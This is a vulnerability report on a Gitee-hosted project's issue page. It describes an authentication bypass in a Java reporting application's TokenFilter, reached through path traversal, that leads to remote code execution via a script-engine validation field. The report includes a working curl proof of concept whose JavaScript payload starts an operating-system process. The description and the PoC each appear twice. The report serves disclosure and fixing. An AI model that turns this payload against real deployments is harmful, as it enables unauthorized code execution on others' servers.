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【大赛通知】开源中国「2026北京开源行业解决方案创新赛」火热报名中,百万奖池等你的项目
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There is a new Authentication Bypass vulnerability in the project
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#IB3ED6
张淇伊
创建于
2024-11-11 12:59
### Description I found one new Authentication Bypass vulnerability in the code, which allows an unauthorized attacker to execute arbitrary code in the system.The details are as follows. First, there is a unfixed flaw in the class named `com.anjiplus.template.gaea.business.filter.TokenFilter`. Although two authentication bypass vulnerabilities have been fixed (commit `af73727e401eae5eaeb2561aeae29a5664a3013b` and `3e70a273f148912b09be62d66cafed2453cc4a0d`), there are still exploitable bypass points remaining.  There is a pattern called `skipAuthenticatePattern`, which is used to match URLs that do not require authentication using **regular expressions** .  An analysis of the regex pattern construction reveals that it generates a format like `.*(<url1>|<url2>).*` based on the elements in the URL configuration list. For example, for the `/login` URL, the generated regex pattern would be `.*(/login).*`.  The issue is that it does not handle any `../` characters. The prerequisite for the vulnerability exploitation is that the `server.servlet.context-path` configuration is non-empty. Here, it is exemplified with `/demo`. Then, we can use `/login/../demo/<target>` to bypass `TokenFilter`. Additionally, due to insufficient blacklist filtering in the `ScriptEngine` execution engine within `DataSetParamServiceImpl` class, it remains exploitable for arbitrary code execution. ### PoC The PoC can be like below: ```bash curl --noproxy "*" --path-as-is --location --request POST 'http://127.0.0.1:9095/login/../demo/dataSetParam/verification/' \ --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \ --header 'Content-Type: application/json' \ --header 'Accept: */*' \ --header 'Host: 127.0.0.1:9095' \ --header 'Connection: keep-alive' \ --data-raw '{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('\''open'\'', '\''-a'\'', '\''calculator'\'').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='\'''\'';while((line = result.readLine()) != null){ss+=line};return ss;}"}' ``` 
### Description I found one new Authentication Bypass vulnerability in the code, which allows an unauthorized attacker to execute arbitrary code in the system.The details are as follows. First, there is a unfixed flaw in the class named `com.anjiplus.template.gaea.business.filter.TokenFilter`. Although two authentication bypass vulnerabilities have been fixed (commit `af73727e401eae5eaeb2561aeae29a5664a3013b` and `3e70a273f148912b09be62d66cafed2453cc4a0d`), there are still exploitable bypass points remaining.  There is a pattern called `skipAuthenticatePattern`, which is used to match URLs that do not require authentication using **regular expressions** .  An analysis of the regex pattern construction reveals that it generates a format like `.*(<url1>|<url2>).*` based on the elements in the URL configuration list. For example, for the `/login` URL, the generated regex pattern would be `.*(/login).*`.  The issue is that it does not handle any `../` characters. The prerequisite for the vulnerability exploitation is that the `server.servlet.context-path` configuration is non-empty. Here, it is exemplified with `/demo`. Then, we can use `/login/../demo/<target>` to bypass `TokenFilter`. Additionally, due to insufficient blacklist filtering in the `ScriptEngine` execution engine within `DataSetParamServiceImpl` class, it remains exploitable for arbitrary code execution. ### PoC The PoC can be like below: ```bash curl --noproxy "*" --path-as-is --location --request POST 'http://127.0.0.1:9095/login/../demo/dataSetParam/verification/' \ --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \ --header 'Content-Type: application/json' \ --header 'Accept: */*' \ --header 'Host: 127.0.0.1:9095' \ --header 'Connection: keep-alive' \ --data-raw '{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('\''open'\'', '\''-a'\'', '\''calculator'\'').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='\'''\'';while((line = result.readLine()) != null){ss+=line};return ss;}"}' ``` 
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